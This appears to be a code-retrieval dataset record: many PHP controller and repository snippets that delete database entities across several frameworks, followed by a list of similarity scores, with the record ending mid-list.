"public function delete($entity) {\r\n\t\tif($entity instanceof Model_Abstract) {\r\n\t\t\t$id = $entity->getIdentityValue();\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$id = $entity;\r\n\t\t}\r\n\t\t// Need to unset the entity in the identity map if it exists\r\n\t\t$this->_unsetIdentity($id);\r\n\t\t \r\n\t\t$rowset = $this->_getGateway()->find($id);\r\n\t\tif($rowset->count() > 0) {\r\n\t\t\t$row = $rowset->current();\r\n\t\t\t$result = $row->delete();\r\n\t\t}\r\n\t}",
"public function destroy(RemedialFeedback $remedialFeedback)\n {\n //\n }",
"public function getDeleteLink($entity)\n {\n return '?action=delete&sampleId=' . $entity->getSampleId();\n }",
"public function deletecontactAction()\r\n {\r\n if ($this->getRequest()->isPost()) {\r\n $params = $this->getRequest()->getParams();\r\n $contactId = $params['contactId'];\r\n\r\n\r\n $contact = new Application_Model_DbTable_Contact();\r\n // delete the contact\r\n $contact->deleteContact($contactId);\r\n\r\n // Return to the page informations\r\n $this->_helper->redirector('gestioncontact', 'admin', null);\r\n\r\n }\r\n\r\n }",
"function remove(iEntityComment $entity);",
"public function deleteAction()\n {\n if (!Auth::loggedIn()) {\n return redirect('auth/login');\n }\n\n // Get first parameter from URL as comment $id.($this->params are from Controller)\n // $id = $this->params[0];\n $id = $this->getParam();\n\n // Call static function from Model which return comment object or null.\n $article = Article::findById($id);\n\n if (!$article) {\n return redirect();\n }\n\n if (!$article->canDelete()) {\n return redirect('articles/details/' . $article->id);\n }\n\n $comments = $article->getComments();\n\n // Delete each comment in the loop\n foreach ($comments as $comment) {\n $comment->delete();\n }\n\n // Delete article on the end\n $article->delete();\n\n set_alert('info', '<b>Success!</b> Your article has been deleted!');\n\n return redirect('articles');\n }",
"public function postRemove($entity);",
"public function delete($entity){\n\n if(is_numeric($entity))\n {\n $entity = $this->findOrFail($entity);\n }\n $entity->delete();\n return $entity;\n }",
"public function destroy($id)\n\t{\n\t\t$this->feedback->find($id)->delete();\n\t\treturn Response::json( [ 'remove'=>$id ] ) ;\n\t}",
"public function deleteAction()\r\n {\r\n if ($id = $this->getRequest()->getParam('offer_id')) {\r\n $title = \"\";\r\n try {\r\n // init model and delete\r\n $model = Mage::getModel('submitbestoffer/submitbestoffer');\r\n $model->load($id);\r\n /*$title = $model->getGalleryName();*/\r\n $model->delete();\r\n // display success message\r\n Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('submitbestoffer')->__('The Offer has been deleted.'));\r\n // go to grid\r\n $this->_redirect('*/*/');\r\n return;\r\n\r\n } catch (Exception $e) {\r\n // display error message\r\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\r\n // go back to edit form\r\n $this->_redirect('*/*/edit', array('offer_id' => $id));\r\n return;\r\n }\r\n }\r\n // display error message\r\n Mage::getSingleton('adminhtml/session')->addError(Mage::helper('submitbestoffer')->__('Unable to find an offer to delete.'));\r\n // go to grid\r\n $this->_redirect('*/*/');\r\n }",
"public function delete(Review $review);",
"public function delete()\n {\n // TODO: Implement delete() method.\n }",
"public function deleteCommentAction()\n {\n $this->confirmSession();\n $this->view->disable();\n if ($this->request->hasPost('commentId')) {\n $comment = Comments::findFirst([\n 'conditions' => 'id = ?0 AND isDeleted = 0 AND userId = ?1',\n 'bind' => [\n $this->request->getPost('commentId'),\n $this->session->get('user')['id']\n ]\n ]);\n \n if (!$comment) {\n $this->redirect('/index/notFound');\n return;\n }\n\n $comment->isDeleted = 1;\n $comment->updatedAt = date('Y-m-d H:i:s');\n\n $comment->save();\n\n $this->redirect(\"/index/postDetails?id={$comment->newsId}\");\n }\n }",
"public function delete()\n {\n if($this->contactable!=null)\n {\n $this->contactable->delete(); \n }else\n {\n parent::delete(); \n } \n }",
"public function delete($Enterprise) { ; }",
"public function delete(PhpORM_Entity $entity)\n {\n $table = $this->getTable();\n return $table->delete($table->getAdapter()->quoteInto('id = ?',$entity->id));\n }",
"public function delete() {\n\t\tif(isset($this->args[1]) && $this->user()) {\n\t\t\ttry {\n\t\t\t\t$this->commentsModel->delete($this->args[1], $this->user->model->userID);\n\t\t\t\t$this->view->setVar('message', 'Deleted comment');\n\t\t\t} catch(exception $excpt) {\n\t\t\t\t$this->view->setError($excpt);\n\t\t\t}\n\t\t}\n\t}",
"public function deleteAction() {\n\t\t$id = intval($this->getInput('id'));\n\t\t$info = Client_Service_Besttj::getBesttj($id);\n\t\tif ($info && $info['id'] == 0) $this->output(-1, '无法删除');\n\t\t$result = Client_Service_Besttj::deleteBesttj($id);\n\t\tif (!$result) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功');\n\t}",
"abstract public function delete(Entity $oMappedEntity);",
"public function deleteAction() {\n $id = (int) $this->params()->fromRoute('id', 0);\n if (!$id) {\n return $this->redirect()->toRoute('backend-guildes-list');\n }\n $oTable = $this->getTableGuilde();\n $oEntite = $oTable->findRow($id);\n $oTable->delete($oEntite);\n $this->flashMessenger()->addMessage($this->_getServTranslator()->translate(\"La guilde a été supprimée avec succès.\"), 'success');\n return $this->redirect()->toRoute('backend-guildes-list');\n }",
"public function deleteAction()\n {\n $authorization = Zend_Auth::getInstance();\n if(!$authorization -> hasIdentity()) {\n $this->redirect('/users/login');\n }\n else\n {\n // Check if user is Admin\n $userObj = $authorization->getIdentity();\n \n //$this -> view -> data = $this -> model -> listAllUsers(); \n // Get User Id\n $id = $this->getRequest()->getParam('id');\n $thread_id = $this->getRequest()->getParam('thread_id');\n if($comment = $this->model ->getCommentById($id)){\n if ($this->model->deleteComment($id))\n {\n $this->redirect('threads/index/id/'.$thread_id);\n }\n }\n else\n {\n $this->redirect('thread/view/id/'.$thread_id);\n }\n\n\n \n }\n }",
"public function delete()\n {\n try {\n parent::delete(null, $this->data['id']);\n } catch (Exception $e) {\n die('ERROR');\n }\n }",
"public function deleteAnswer()\n {\n $this->is_answer = false;\n $this->topic->is_answered = false;\n $post = $this;\n\n Db::transaction(function() use ($post)\n {\n $post->topic->save();\n $post->save();\n });\n }",
"public function delete()\n {\n /* delete alert emails if there are any */\n foreach ($this->emails as $email) {\n $email->delete();\n }\n DeletedAlert::create(array(\n \"content\" => $this->toJson()\n ));\n return parent::delete(); // TODO: Change the autogenerated stub\n }",
"public function deletefeatureAction(){\n $id = intval($this->_getParam(\"id\"));\n\n /* Initialize the delete form*/\n $form_delete = new library_forms_Delete;\n $this->view->formDelete = $form_delete;\n if ($this->getRequest()->isPost() && $form_delete->isValid($_POST)) {\n //Delete the feature\n $model_feature = new library_models_feature;\n $model_feature->delete('featureId = '.$id);\n \n // We also need to update HasFeature table\n $model = new library_models_hasfeature;\n $model->delete('featureId = '.$id); \n \n //Report the success of the property deletion to the view\n $this->_flashMessenger->addMessage(\"The feature has been deleted successfully\");\n $this->_helper->getHelper('Redirector')->gotoUrl(Zend_Registry::get('ROOTURL').\"index/managefeatures\"); \n }\n }",
"public function deleteAction() {\r\n $id = (int) $this->params()->fromRoute('id', 0);\r\n if (empty($id)) {\r\n return $this->redirect()->toRoute('beheer/contact');\r\n }\r\n $contactForm = $this->contactService->getContactFormById($id);\r\n if (empty($contactForm)) {\r\n return $this->redirect()->toRoute('beheer/contact');\r\n }\r\n // Remove blog\r\n $this->contactService->deleteContactForm($contactForm);\r\n $this->flashMessenger()->addSuccessMessage('Contact verwijderd');\r\n return $this->redirect()->toRoute('beheer/contact');\r\n }",
"public function deleteById($entityId);",
"public function deleteById($entityId);",
"public function delete() {\n\t\t$this->assignment->delete();\n\t}",
"public function deletequaliteAction()\r\n {\r\n if ($this->getRequest()->isPost()) {\r\n $params = $this->getRequest()->getParams();\r\n $qualiteId = $params['qualiteId'];\r\n\r\n\r\n $qualite = new Application_Model_DbTable_FicheQualite();\r\n // delete the qualite\r\n $qualite->deleteQualite($qualiteId);\r\n\r\n // Return to the page informations\r\n $this->_helper->redirector('gestionqualite', 'admin', null);\r\n\r\n }\r\n\r\n }",
"public function actionDelete()\r\n {\r\n $spamRuleId = $this->_input->filterSingle('spam_rule_id', XenForo_Input::STRING);\r\n $spamRule = $this->_getSpamRuleOrError($spamRuleId);\r\n\r\n $writer = XenForo_DataWriter::create('ThemeHouse_SpamRules_DataWriter_SpamRule');\r\n $writer->setExistingData($spamRule);\r\n\r\n if ($this->isConfirmedPost()) { // delete spam rule\r\n $writer->delete();\r\n\r\n return $this->responseRedirect(XenForo_ControllerResponse_Redirect::SUCCESS,\r\n XenForo_Link::buildAdminLink('spam-rules'));\r\n } else { // show delete confirmation prompt\r\n $writer->preDelete();\r\n $errors = $writer->getErrors();\r\n if ($errors) {\r\n return $this->responseError($errors);\r\n }\r\n\r\n $viewParams = array(\r\n 'spamRule' => $spamRule\r\n );\r\n\r\n return $this->responseView('ThemeHouse_SpamRules_ViewAdmin_SpamRule_Delete',\r\n 'th_spam_rule_delete_spamrules', $viewParams);\r\n }\r\n }",
"public function actionDelete() {}",
"public function actionDelete() {}",
"public function deleteAction()\n {\n $entity = \\Zend_Registry::get('doctrine')->getEntityManager()->getRepository('\\ZF\\Entities\\News');\n $relation = \\Zend_Registry::get('doctrine')->getEntityManager()->getRepository('\\ZF\\Entities\\NewsTagRel');\n return parent::delete($entity, $relation);\n }",
"public function deleteAction() {\n \n $this->_helper->layout->disableLayout();\n $this->_helper->viewRenderer->setNoRender(true);\n \n\n $del = $this->_model->deleteNote($this->id);\n\n if( $this->xhr ) {\n \n $this->_asJson(array('id' => $this->id,\n 'consumer_id' => $this->consumer_id,\n 'message' => 'Note Removed.',\n 'success' => $del));\n }else{\n \n $this->_helper->flashMessenger->addMessage(array('alert alert-success'=>\"Note Removed.\") ); \n $this->_redirect($this->indexAction . $this->consumer_id);\n \n }\n }",
"public function delete()\n {\n // get request\n $request = $this->getRequest()->request;\n // get product ID from request\n $product_id = $request['a'];\n // get product ids from session\n $compareProducts = $this->View()->getSession('compare', $compareProducts)?$this->View()->getSession('compare', $compareProducts):array();\n\n if (in_array($product_id, $compareProducts)) {\n // unseting product from compare session\n $key = array_search($product_id, $compareProducts);\n unset($compareProducts[$key]);\n }\n\n $this->View()->setSession('compare', $compareProducts);\n\n if ($request['XHR']) {\n die(json_encode([\n 'success' => true,\n 'message' => $this->View()->translating('compare_item_deleted'),\n 'count' => count($compareProducts),\n ]));\n }\n\n Router::redirect('compare');\n }",
"public function actionDelete()\n {\n return $this->findModel(Yii::$app->request->post('id'))->delete(false);\n }",
"public function entityDelete(EntityInterface $entity) {\n if (($entity_type = $entity->getEntityTypeId()) == \\Drupal::config('recurly.settings')->get('recurly_entity_type')) {\n // Check for a local account first, no need to attempt to close an account\n // if we don't have any information about it.\n $local_account = recurly_account_load(['entity_type' => $entity_type, 'entity_id' => $entity->id()], TRUE);\n if ($local_account) {\n $recurly_account = recurly_account_load(['entity_type' => $entity_type, 'entity_id' => $entity->id()]);\n recurly_account_delete($recurly_account);\n }\n }\n }",
"public function actionDelete()\n {\n extract(Yii::$app->request->post());\n $this->findModel($list, $item)->delete();\n }",
"public function delete() {\r\n $page = $this->api->getParam('page', '1');\r\n $this->model->id = $_REQUEST['id'];\r\n $this->checkOwner();\r\n $message = 'Cannot Be Deleted';\r\n if ($this->model->delete()) {\r\n $message = 'Deleted Successfully';\r\n }\r\n $this->api->redirect('contact/home?message=' . $message . '&page=' . $page);\r\n }",
"public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }",
"public function deleteAction()\n {\n $comparisonChartId = (int) $this->params()->fromRoute('id', null);\n\n if (null === $comparisonChartId) {\n $this->flashMessenger()->setNamespace('error')\n ->addMessage('You have attempted to access an invalid record.');\n\n return $this->redirect()->toRoute('rocket-admin/lund/comparison-chart');\n }\n\n $comparisonChart = $this->comparisonChartService->getComparisonChart($comparisonChartId);\n\n if (!($comparisonChart instanceof ComparisonChartInterface)) {\n $this->flashMessenger()->setNamespace('error')\n ->addMessage('You have attempted to access an invalid record.');\n\n return $this->redirect()->toRoute('rocket-admin/lund/comparison-chart');\n }\n\n $this->comparisonChartService->delete($this->identity(), $comparisonChart);\n\n $this->flashMessenger()->setNamespace('success')\n ->addMessage('You have successfully deleted the comparisonChart.');\n\n return $this->redirect()->toRoute('rocket-admin/lund/comparison-chart');\n }",
"public function deleteAction() {\n\n $id = (int) $this->getRequest()->getParam('id');\n\n try {\n $this->_productMapper->delete($id);\n $this->_flashMessenger->addMessage(array('info' => 'Produkt byl úspěšně smazán.'));\n } catch (Exception $e) {\n $this->_flashMessenger->addMessage(array('error' => 'Při pokusu o smazání došlo k chybě!<br />' . $e->getMessage()));\n }\n $module = $this->getRequest()->getModuleName();\n $controller = $this->getRequest()->getControllerName();\n $this->_redirect($module . '/' . $controller);\n }",
"public function deleted(TenderParticipant $tenderParticipant)\n {\n //\n }",
"public function destroy(IdeaSubmission $ideaSubmission)\n {\n //\n }",
"public function deleteAction() {\n $id = (int) $this->params()->fromRoute('id', 0);\n if (empty($id)) {\n return $this->redirect()->toRoute('beheer/customers');\n }\n $contact = $this->contactService->getContact($id);\n if (empty($contact)) {\n return $this->redirect()->toRoute('beheer/customers');\n }\n\n //Get customer ID for redirect\n $customerId = $contact->getCustomer()->getId();\n\n $this->contactService->deleteContact($contact);\n $this->flashMessenger()->addSuccessMessage('Contact removed');\n return $this->redirect()->toRoute('beheer/customers', ['action' => 'show', 'id' => $customerId]);\n }"
] | [
"0.73567915",
"0.66707605",
"0.6625245",
"0.6625245",
"0.6584777",
"0.65641046",
"0.6563791",
"0.65579695",
"0.6550845",
"0.6506594",
"0.64897764",
"0.64589345",
"0.64384204",
"0.6353366",
"0.6331543",
"0.6271736",
"0.6256264",
"0.6221593",
"0.6213404",
"0.618519",
"0.6151766",
"0.61254233",
"0.6114214",
"0.61128604",
"0.61018205",
"0.60879785",
"0.6083695",
"0.60598963",
"0.60577184",
"0.59982324",
"0.59825224",
"0.5914447",
"0.59056497",
"0.5903182",
"0.59024096",
"0.589968",
"0.5899228",
"0.5853102",
"0.5832489",
"0.58097756",
"0.5800144",
"0.57955056",
"0.5789915",
"0.578828",
"0.57860684",
"0.57559943",
"0.5744043",
"0.5733903",
"0.5721308",
"0.5717773",
"0.5713535",
"0.5691256",
"0.56864065",
"0.5683196",
"0.56829816",
"0.56812614",
"0.56740963",
"0.5670131",
"0.56652623",
"0.5658524",
"0.56495774",
"0.5634664",
"0.56299275",
"0.5627696",
"0.5620148",
"0.561326",
"0.5609353",
"0.55993134",
"0.5594646",
"0.5592863",
"0.5586633",
"0.55865675",
"0.5583168",
"0.5582927",
"0.55815",
"0.55737114",
"0.5567655",
"0.5565692",
"0.5564649",
"0.55633926",
"0.5562976",
"0.5562976",
"0.55399567",
"0.5535098",
"0.55283004",
"0.5524638",
"0.5524638",
"0.55172664",
"0.551659",
"0.5515218",
"0.551119",
"0.5508675",
"0.5505018",
"0.5498623",
"0.5496413",
"0.54956263",
"0.5487746",
"0.54872537",
"0.54871476",
"0.5485374"
] | 0.73159015 | 1 |
Creates a form to delete a Feedback entity. | private function createDeleteForm(Feedback $entity)
{
return $this->createFormBuilder()
->setAction($this->generateUrl('feedback_delete', array('id' => $entity->getId())))
->setMethod('DELETE')
->getForm();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete(){\n\t\t$this->feedbacks_model->delete();\n\t}",
"public function deleteForm()\n\t{\n\t\t$form = new \\IPS\\Helpers\\Form( 'form', 'delete' );\n\t\t$form->addMessage( 'node_delete_blurb_no_content' );\n\t\t\n\t\treturn $form;\n\t}",
"public function deleteAction(Request $request, Feedback $entity)\n {\n $form = $this->createDeleteForm($entity);\n $form->handleRequest($request);\n\n $em = $this->getDoctrine()->getManager();\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feedback entity.');\n }\n\n $em->remove($entity);\n $em->flush();\n\n // Mostrando mensaje\n $this->get('session')->getFlashBag()->add('success', 'The feedback was deleted successfully.');\n return $this->redirect($this->generateUrl('feedback'));\n\n\n }",
"public function deleteAction()\n {\n if ( $this->getRequest()->getParam('id') > 0) {\n try {\n $ifeedback = Mage::getModel('bs_kst/ifeedback');\n $ifeedback->setId($this->getRequest()->getParam('id'))->delete();\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_kst')->__('Instructor Feedback was successfully deleted.')\n );\n $this->_redirect('*/*/');\n return;\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error deleting instructor feedback.')\n );\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n Mage::logException($e);\n return;\n }\n }\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Could not find instructor feedback to delete.')\n );\n $this->_redirect('*/*/');\n }",
"private function createDeleteForm(AskInfo $askInfo)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('askinfo_delete', array('id' => $askInfo->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"protected function createComponentDeleteForm()\r\n\t{\r\n\t\t$form = new Form;\r\n\t\t$form->addSubmit('delete', 'Smazat')->setAttribute('class', 'default');\r\n\t\t$form->addSubmit('cancel', 'Storno');\r\n\t\t$form->onSuccess[] = callback($this, 'deleteFormSubmitted');\r\n\t\t$form->addProtection(self::MESS_PROTECT);\r\n\t\treturn $form;\r\n\t}",
"private function createDeleteForm(Complect $complect)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('nomenclature_complect_delete', array('id' => $complect->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('question_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(NatureOp $priorite)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('back_natureop_delete', array('id' => $priorite->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"public function deleteAction() : object\n {\n $page = $this->di->get(\"page\");\n $form = new DeleteForm($this->di);\n $form->check();\n\n $page->add(\"questions/crud/delete\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $page->render([\n \"title\" => \"Delete an item\",\n ]);\n }",
"private function createDeleteForm(PsychEvalFreq $psychEvalFreq)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('eval_freq_delete', array('id' => $psychEvalFreq->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_partner_category_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit',\n array(\n 'label' => 'Supprimer',\n 'attr' => array('class' => 'btn btn-danger')\n ))\n ->getForm()\n ;\n }",
"public function createDeleteForm($id){\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('rsp_delete',array('id'=>$id)))\n ->setMethod('DELETE')\n ->add('submit','submit',array('label'=>'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm1($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('calendarcategories_delete', array('id' => $id)))\n ->setMethod('DELETE')\n /* ->add('submit', 'submit', array('label' => 'Delete')) */\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\r\n {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('gdpmails_delete', array('id' => $id)))\r\n ->setMethod('DELETE')\r\n ->add('submit', 'submit', array('label' => 'Delete'))\r\n ->getForm()\r\n ;\r\n }",
"public function destroy(Feedback $feedback)\n {\n //\n\n $aktUser = Auth::user();\n if (!$aktUser->demo) {\n $feedback->delete();\n }\n\n return redirect('/admin/feedback');\n }",
"private function createDeleteForm(Feature $feature)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('searchEngine_feature_delete', array('id' => $feature->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n \n $form = $this->createFormBuilder(null, array('attr' => array('id' => 'entrada_detalles_eliminar_type')))\n ->setAction('')\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar', 'icon' => 'trash', 'attr' => array('class' => 'btn-danger')))\n ->getForm()\n ;\n \n return $form;\n \n \n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('com_incident_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Supprimer','attr'=>array('class'=>'btn btn-danger','style'=>'width:100px;')))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Fratura $fratura)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('fratura_delete', array('id' => $fratura->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('victoire_business_template_delete', ['id' => $id]))\n ->setMethod('DELETE')\n ->add('submit', SubmitType::class, ['label' => 'Delete'])\n ->getForm();\n }",
"private function createDeleteForm($id) {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('rubrique_delete', array('id' => $id)))\r\n// ->setMethod('DELETE')\r\n ->add('submit', SubmitType::class, array('label' => 'Supprimer la rubrique courante'))\r\n ->getForm()\r\n ;\r\n }",
"private function createDeleteForm($id)\n {\n $translated = $this->get('translator');\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('configuracao_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => $translated->transChoice('txt.excluir',0,array(),'messagesCommonBundle'), 'attr' => array('class' => 'btn btn-danger btn-lg')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tipuscentre_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('education_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('bien_delete', array('id' => $id)))\n ->setMethod('DELETE')\n // ->add('submit', 'submit', array('label' => 'Delete'))\n ->add('submit', 'submit', array('label' => 'Eliminar','attr' => array('class' => 'btn btn-danger'),))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('achats_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Supprimer'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id){\n\t\treturn $this->createFormBuilder()\n\t\t\t->setAction($this->generateUrl('reserva_delete', array('id' => $id)))\n\t\t\t->setMethod('DELETE')\n\t\t\t->add('submit', 'submit', array('label' => 'Eliminar Reserva', 'attr' => array('class'=>'btn btn-danger btn-block')))\n\t\t\t->getForm()\n\t\t;\n\t}",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('pifeclassique_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Supprimer'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('social_admin_resource_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => '删除','attr'=>[\n 'class'=>'btn btn-danger'\n ]))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Acte $acte)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('acte_delete', array('id' => $acte->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('componentgroup_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', SubmitType::class, array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('personnelpersonnel_delete', array('id' => $id)))\n ->setMethod('DELETE')\n // ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm();\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('client_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('behalf_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('solmantenimientoidentificacion_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Borrar','attr'=>array('class'=>'btn btn-danger btn btn-danger btn-lg btn-block')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('message'))\n ->add('annuler', 'reset', array ( 'label' => 'Annuler',\n 'attr' => array ( 'class' => 'btn btn-default' )\n )\n )\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('fluidite_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array(\n 'label' => 'Delete',\n 'attr' => array(\n 'class' => 'btn btn-danger'\n ))\n \n )\n \n \n ->getForm()\n ;\n }",
"private function createDeleteForm(frontend_about $frontend_about)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('frontend_about_delete', array('id' => $frontend_about->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('detailsproduits_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Categorie_Produit $categorie_Produit)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('categorie_produit_delete', array('id' => $categorie_Produit->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('caracteristicasequipo_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar','attr' => array('class' => 'btn btn-danger')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('tecnoequipo_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'ELIMINAR'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Proeflessen $proeflessen)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_proeflessen_delete', array('id' => $proeflessen->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"public function destroy(Feedback $feedback): RedirectResponse\n {\n $feedback->delete();\n return redirect()->route('feedback.index')\n ->with('success', 'Feedback deleted successfully');\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('eventregistration_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Reactif $reactif)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('reactif_delete', array('numreact' => $reactif->getNumreact())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm(Component $component)\n {\n return $this->createFormBuilder()->setAction($this->generateUrl('component_delete', array('id' => $component->getId())))->setMethod('DELETE')->getForm();\n }",
"private function createDeleteForm(Aspirante $aspirante)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('aspirante_delete', array('id' => $aspirante->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_subscriptions_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(CfgTipoAlerta $cfgTipoAlertum)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cfgtipoalerta_delete', array('id' => $cfgTipoAlertum->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('config_testimonial_delete', array('id' => $id)))\n ->setAttribute('enctype', 'multipart/form-data')\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar'))\n ->getForm();\n }",
"private function createDeleteForm(Nomenclature $nomenclature)\n {\n\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('nomenclature_delete', array('id' => $nomenclature->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm(Indicateur $indicateur) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('indicateur_delete', array('id' => $indicateur->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
